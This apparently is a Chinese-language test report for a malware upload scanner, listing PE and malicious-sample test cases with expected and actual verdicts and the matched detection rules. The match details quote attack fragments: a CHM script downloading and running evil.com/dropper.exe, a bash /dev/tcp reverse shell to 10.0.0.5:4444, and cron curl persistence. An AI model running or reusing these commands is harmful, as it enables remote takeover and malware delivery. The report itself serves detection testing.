malicious(score=100.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
binary |
L2B |
high |
RWXSectionDetected |
50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 |
✅ L5-003 — L5-003_double_upx.exe
- 描述: UPX加壳PE,二次压缩
- 文件大小: 926 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
binary |
L2B |
high |
RWXSectionDetected |
50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 |
✅ L5-004 — L5-004_rwx_section.exe
- 描述: 节属性 RWX
- 文件大小: 926 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:.text
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
binary |
L2B |
high |
RWXSectionDetected |
50.0 | 手工 PE 分析检测到可写且可执行的危险节:.text |
✅ L5-005 — L5-005_injection_imports.exe
- 描述: 注入组合导入(需要真实 pefile 引入 API)
- 文件大小: 928 B
- 预期:
reject - 实际:
malicious(score=75.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
UnsignedExecutable |
20.0 | 可执行文件未携带数字签名 |
binary |
L2B |
low |
SuspiciousTimestamp |
10.0 | PE 编译时间戳异常,可能被伪造 |
binary |
L2B |
low |
PEArchInfo |
0.0 | PE 架构:0x014c / 32-bit |
✅ L5-006 — L5-006_single_virtualalloc.exe
- 描述: 单一可疑内存 API
- 文件大小: 928 B
- 预期:
review - 实际:
malicious(score=75.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
UnsignedExecutable |
20.0 | 可执行文件未携带数字签名 |
binary |
L2B |
low |
SuspiciousTimestamp |
10.0 | PE 编译时间戳异常,可能被伪造 |
binary |
L2B |
low |
PEArchInfo |
0.0 | PE 架构:0x014c / 32-bit |
✅ L5-007 — L5-007_garbage_section.exe
- 描述: 节名乱码
- 文件大小: 926 B
- 预期:
review - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L5-008 — L5-008_many_exports.exe
- 描述: 导出表异常(需真实工具生成)
- 文件大小: 928 B
- 预期:
review - 实际:
malicious(score=75.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
UnsignedExecutable |
20.0 | 可执行文件未携带数字签名 |
binary |
L2B |
low |
SuspiciousTimestamp |
10.0 | PE 编译时间戳异常,可能被伪造 |
binary |
L2B |
low |
PEArchInfo |
0.0 | PE 架构:0x014c / 32-bit |
✅ L5-009 — L5-009_shell_in_resource.exe
- 描述: 资源段内嵌字符串(占位)
- 文件大小: 928 B
- 预期:
review - 实际:
malicious(score=75.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
UnsignedExecutable |
20.0 | 可执行文件未携带数字签名 |
binary |
L2B |
low |
SuspiciousTimestamp |
10.0 | PE 编译时间戳异常,可能被伪造 |
binary |
L2B |
low |
PEArchInfo |
0.0 | PE 架构:0x014c / 32-bit |
✅ L5-010 — L5-010_bad_mz.exe
- 描述: PE 头非法
- 文件大小: 2,048 B
- 预期:
review - 实际:
reject(score=100.0, action=reject) - 判定理由: 声明扩展名与真实类型不一致,疑似伪装
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .exe,实际内容为 ASCII text, with no line terminators(.txt) |
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'DOS Header magic not found.' |
✅ L5-011 — L5-011_truncated.exe
- 描述: 截断 PE
- 文件大小: 308 B
- 预期:
review - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L5-012 — L5-012_pe32.exe
- 描述: 32 位识别
- 文件大小: 926 B
- 预期:
pass - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L5-013 — L5-013_pe64.exe
- 描述: 64 位识别占位
- 文件大小: 926 B
- 预期:
pass - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L5-014 — L5-014_clean_tool.exe
- 描述: PE导入表大量系统API(正常工具)
- 文件大小: 926 B
- 预期:
pass - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L5-015 — L5-015_bad_reloc.exe
- 描述: 重定位表损坏占位
- 文件大小: 928 B
- 预期:
review - 实际:
malicious(score=75.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
UnsignedExecutable |
20.0 | 可执行文件未携带数字签名 |
binary |
L2B |
low |
SuspiciousTimestamp |
10.0 | PE 编译时间戳异常,可能被伪造 |
binary |
L2B |
low |
PEArchInfo |
0.0 | PE 架构:0x014c / 32-bit |
✅ L5-016 — L5-016_zero_sections.exe
- 描述: 无节表最小 PE
- 文件大小: 376 B
- 预期:
review - 实际:
malicious(score=75.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
UnsignedExecutable |
20.0 | 可执行文件未携带数字签名 |
binary |
L2B |
low |
SuspiciousTimestamp |
10.0 | PE 编译时间戳异常,可能被伪造 |
binary |
L2B |
low |
PEArchInfo |
0.0 | PE 架构:0x014c / 32-bit |
✅ L5-017 — L5-017_upx_rwx.exe
- 描述: UPX壳 + RWX节复合特征
- 文件大小: 926 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
binary |
L2B |
high |
RWXSectionDetected |
50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 |
✅ L5-018 — L5-018_debug_info.exe
- 描述: 调试信息占位
- 文件大小: 926 B
- 预期:
review - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L5-019 — L5-019_200mb_huge.exe
- 描述: 200MB 超大 PE(占位,真实生成会写满磁盘)
- 文件大小: 1,026 B
- 预期:
pass - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L5-020 — L5-020_layer_off_sample.bin
- 描述: 关闭分层开关测试占位
- 文件大小: 928 B
- 预期:
review - 实际:
reject(score=100.0, action=reject) - 判定理由: 声明扩展名与真实类型不一致,疑似伪装
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .bin,实际内容为 PE32 executable for Unknown subsystem 0, Intel i386(.exe) |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bin |
binary |
L2B |
medium |
UnsignedExecutable |
20.0 | 可执行文件未携带数字签名 |
binary |
L2B |
low |
SuspiciousTimestamp |
10.0 | PE 编译时间戳异常,可能被伪造 |
binary |
L2B |
high |
RWXSectionDetected |
40.0 | 检测到可写且可执行的危险节:.text |
binary |
L2B |
low |
PEArchInfo |
0.0 | PE 架构:0x014c / 32-bit |
L7
✅ L7-001 — broken.zip
- 描述: 损坏 ZIP
- 文件大小: 125 B
- 预期:
clean - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L7-002 — evil.iso
- 描述: 恶意 ISO 镜像
- 文件大小: 32,775 B
- 预期:
suspicious - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.iso
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.iso |
✅ L7-003 — evil_help.chm
- 描述: 含脚本 CHM 帮助
- 文件大小: 1,691 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ChmWithScript 命中:CHM 帮助文件包含脚本/可执行引用:VBScript">Shell "cmd.exe /c curl http://evil; p://evil.com/dropper.exe -o C:\Windows\Temp; -o C:\Windows\Temp\a.exe && C:\Windows\Temp\
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.chm |
structure |
L0 |
critical |
ChmWithScript |
80.0 | CHM 帮助文件包含脚本/可执行引用:VBScript">Shell "cmd.exe /c curl http://evil; p://evil.com/dropper.exe -o C:\Windows\Temp; -o C:\Win |
keywords |
L2B |
high |
RemoteDownloadUnix |
30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] |
✅ L7-004 — linux_malicious
- 描述: Linux 恶意脚本集
- 文件大小: 71 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 LinuxExecutable 命中:检测到 Linux ELF 原生可执行文件:linux_malicious
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
LinuxExecutable |
85.0 | 检测到 Linux ELF 原生可执行文件:linux_malicious |
keywords |
L2B |
critical |
ReverseShellNetcat |
40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['bash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] |
yara |
L2B |
low |
C7_Linux_ReverseShell_Bash |
85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L7-005 — lolbin.cmd
- 描述: LOLBin cmd 混淆
- 文件大小: 114 B
- 预期:
suspicious - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.cmd
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.cmd |
keywords |
L2B |
medium |
CommandExecutionObfuscated |
25.0 | 词表命中:CommandExecutionObfuscated(模式=regex),命中 1 处:['@echo offcertutil -decode http://ev'] |
✅ L7-006 — macro_alert.docm
- 描述: 含 VBA 宏 DOCM
- 文件大小: 2,586 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 VBAAutoExecShell 命中:VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描)
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
document |
L2 |
critical |
VBAAutoExecShell |
70.0 | VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描) |
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ebClient).DownloadString(http://ev'] |
keywords |
L2B |
high |
RemoteDownloadUnix |
30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] |
✅ L7-007 — malicious.desktop
- 描述: 恶意 .desktop 反序列化
- 文件大小: 114 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 DesktopFileAutoExec 命中:.desktop 文件 Exec 字段包含危险命令(Shell 包含 /dev/tcp 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.desktop |
structure |
L0 |
critical |
DesktopFileAutoExec |
85.0 | .desktop 文件 Exec 字段包含危险命令(Shell 包含 /dev/tcp 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' |
structure |
L0 |
critical |
DesktopFileAutoExec |
85.0 | .desktop 文件 Exec 字段包含危险命令(Shell 包含 bash -i 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' |
keywords |
L2B |
critical |
ReverseShellNetcat |
40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["=bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4'] |
yara |
L2B |
low |
C7_Linux_ReverseShell_Bash |
85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
yara |
L2B |
low |
C7_Linux_ReverseShell_Misc |
25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L7-008 — malicious.pdf
- 描述: 含 JS/Action PDF
- 文件大小: 534 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 PdfOpenAction 命中:PDF 定义了打开时自动执行的动作
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
document |
L2 |
high |
PdfOpenAction |
50.0 | PDF 定义了打开时自动执行的动作 |
document |
L2 |
critical |
PdfJavaScript |
70.0 | PDF OpenAction 直接包含 JavaScript 动作 |
✅ L7-009 — miner_config.json
- 描述: 挖矿配置文件
- 文件大小: 123 B
- 预期:
suspicious - 实际:
suspicious(score=45.0, action=manual_review) - 判定理由: 风险评分 45.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
yara |
L2B |
low |
C7_Linux_Miner_Generic |
45.0 | YARA 规则 C7_Linux_Miner_Generic 命中(标签:无) |
✅ L7-010 — normal.pdf
- 描述: 干净 PDF 对照
- 文件大小: 439 B
- 预期:
clean - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L7-011 — normal_deploy.sh
- 描述: 运维部署脚本(误报)
- 文件大小: 155 B
- 预期:
suspicious - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.sh
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.sh |
✅ L7-012 — normal_readme.txt
- 描述: 干净 README 对照
- 文件大小: 162 B
- 预期:
clean - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L7-013 — normal_report.docx
- 描述: 干净 DOCX 对照
- 文件大小: 1,212 B
- 预期:
clean - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L7-014 — ole_dropper.doc
- 描述: OLE 投递 DOC
- 文件大小: 1,641 B
- 预期:
suspicious - 实际:
suspicious(score=35.0, action=manual_review) - 判定理由: keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['ualAllocExCreateRemoteThread']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
document |
L2 |
low |
OleToolsUnavailable |
0.0 | VBA 宏解析失败:'NoneType' object has no attribute 'name' |
keywords |
L2B |
high |
RemoteSessionHijack |
35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['ualAllocExCreateRemoteThread'] |
✅ L7-015 — pe_downloader.exe
- 描述: PE 下载木马
- 文件大小: 1,148 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
yara |
L2B |
low |
C1_PE_Downloader_Loader |
65.0 | YARA 规则 C1_PE_Downloader_Loader 命中(标签:无) |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'NT Headers not found.' |
✅ L7-016 — pe_injection.exe
- 描述: PE 注入程序
- 文件大小: 1,129 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe;keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['cessMemoryCreateRemoteThreadOpenProces']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
keywords |
L2B |
high |
RemoteSessionHijack |
35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['cessMemoryCreateRemoteThreadOpenProces'] |
yara |
L2B |
low |
C1_PE_ProcessInjection |
85.0 | YARA 规则 C1_PE_ProcessInjection 命中(标签:无) |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'NT Headers not found.' |
✅ L7-017 — persist_cron.sh
- 描述: Crontab 持久化脚本
- 文件大小: 95 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ShellScriptDangerous 命中:脚本包含危险函数(脚本 curl 下载并管道执行)
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.sh |
structure |
L0 |
high |
ShellScriptDangerous |
65.0 | 脚本包含危险函数(脚本 curl 下载并管道执行) |
structure |
L0 |
high |
ShellScriptDangerous |
65.0 | 脚本包含危险函数(脚本包含 cron 持久化) |
clamav |
L1 |
high |
Txt.Malware.Sustes-6779550-1 |
85.0 | ClamAV 签名命中:Txt.Malware.Sustes-6779550-1 |
keywords |
L2B |
high |
RemoteDownloadUnix |
30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['* * * * * curl http://ev'] |
yara |
L2B |
low |
C7_Linux_Persistence_Crontab |
65.0 | YARA 规则 C7_Linux_Persistence_Crontab 命中(标签:无) |
✅ L7-018 — phishing.eml
- 描述: 钓鱼邮件 EML
- 文件大小: 1,869 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件附件为高风险类型,需人工确认是否为钓鱼/恶意附件;邮件附件为高风险类型,需人工确认是否为钓鱼/恶意附件;邮件附件存在双扩展名伪装,高风险钓鱼特征
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
document |
L2 |
medium |
EmailPhishingKeyword |
25.0 | 邮件正文/Subject 命中钓鱼特征: 紧急操作催促(钓鱼常用) |
document |
L2 |
medium |
EmailPhishingKeyword |
25.0 | 邮件正文/Subject 命中钓鱼特征: 要求点击链接验证账号 |
document |
L2 |
medium |
EmailPhishingKeyword |
25.0 | 邮件正文/Subject 命中钓鱼特征: 索要密码/凭证 |
document |
L2 |
medium |
EmailPhishingKeyword |
25.0 | 邮件正文/Subject 命中钓鱼特征: 诱导转账/支付 |
document |
L2 |
medium |
EmailPhishingKeyword |
25.0 | 邮件正文/Subject 命中钓鱼特征: 伪装发票/订单/收据(附件可能带毒) |
document |
L2 |
high |
EmailAttachmentDangerous |
55.0 | 邮件附件为高风险类型: invoice.vbs |
document |
L2 |
high |
EmailAttachmentDangerous |
55.0 | 邮件附件为高风险类型: invoice.pdf.vbs |
document |
L2 |
high |
EmailAttachmentDisguised |
45.0 | 附件可能存在双扩展名伪装: invoice.pdf.vbs |
document |
L2 |
high |
EmailAttachmentDangerous |
55.0 | 邮件附件为高风险类型: form.js |
document |
L2 |
critical |
EmailAttachmentWebshell |
70.0 | 附件内容疑似 Webshell: form.js |
✅ L7-019 — photo.jpg.php
- 描述: 双扩展名伪装 .jpg.php
- 文件大小: 29 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件类型 .php 不在允许清单内
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DoubleExtension |
35.0 | 文件名包含多个扩展名:photo.jpg.php |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.php |
structure |
L0 |
critical |
DoubleExtension |
90.0 | 双扩展名伪装:photo.jpg.php |
✅ L7-020 — ransom_dropper.exe.txt
- 描述: 勒索软件投递器
- 文件大小: 215 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: yara:YARA 规则 C8_Ransomware_Encryption 命中(标签:无);yara:YARA 规则 C8_Ransomware_Note_Filename 命中(标签:无);yara:YARA 规则 C8_Ransomware_VolumeShadow 命中(标签:无)
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
yara |
L2B |
critical |
C8_Ransomware_Encryption |
85.0 | YARA 规则 C8_Ransomware_Encryption 命中(标签:无) |
yara |
L2B |
critical |
C8_Ransomware_Note_Filename |
65.0 | YARA 规则 C8_Ransomware_Note_Filename 命中(标签:无) |
yara |
L2B |
critical |
C8_Ransomware_VolumeShadow |
65.0 | YARA 规则 C8_Ransomware_VolumeShadow 命中(标签:无) |
✅ L7-021 — sealed.docx
- 描述: 加密 DOCX(被视为损坏)
- 文件大小: 6,656 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件已加密,无法进行完整静态分析,按策略拒绝
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
medium |
MalformedStructure |
25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
document |
L2 |
medium |
OfficeEncrypted |
25.0 | Office 文档已加密(密码保护),无法进行完整静态分析 |
document |
L2 |
low |
OoxmlParseFailed |
0.0 | OOXML 容器解析失败:File is not a zip file |
extractor |
L0 |
medium |
ArchiveBroken |
10.0 | ZIP 结构损坏:File is not a zip file |
✅ L7-022 — sealed.xlsx
- 描述: 加密 XLSX(被视为损坏)
- 文件大小: 6,656 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件已加密,无法进行完整静态分析,按策略拒绝
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .xlsx,实际内容为 CDFV2 Encrypted(.doc) |
structure |
L0 |
medium |
MalformedStructure |
25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
document |
L2 |
medium |
OfficeEncrypted |
25.0 | Office 文档已加密(密码保护),无法进行完整静态分析 |
document |
L2 |
low |
OoxmlParseFailed |
0.0 | OOXML 容器解析失败:File is not a zip file |
extractor |
L0 |
medium |
ArchiveBroken |
10.0 | ZIP 结构损坏:File is not a zip file |
✅ L7-023 — shell_aspx.aspx
- 描述: ASPX 一句话木马
- 文件大小: 169 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件类型 .aspx 不在允许清单内
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.aspx |
✅ L7-024 — shell_bash_devtcp.sh
- 描述: Bash /dev/tcp 反弹
- 文件大小: 51 B
- 预期:
malicious - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ShellScriptDangerous 命中:脚本包含反弹 Shell 特征(bash -i 反弹 Shell)
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.sh |
structure |
L0 |
critical |
ShellScriptDangerous |
85.0 | 脚本包含反弹 Shell 特征(bash -i 反弹 Shell) |
keywords |
L2B |
critical |
ReverseShellNetcat |
40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['!/bin/bashbash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] |
yara |
L2B |
low |
C7_Linux_ReverseShell_Bash |
85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
yara |
L2B |
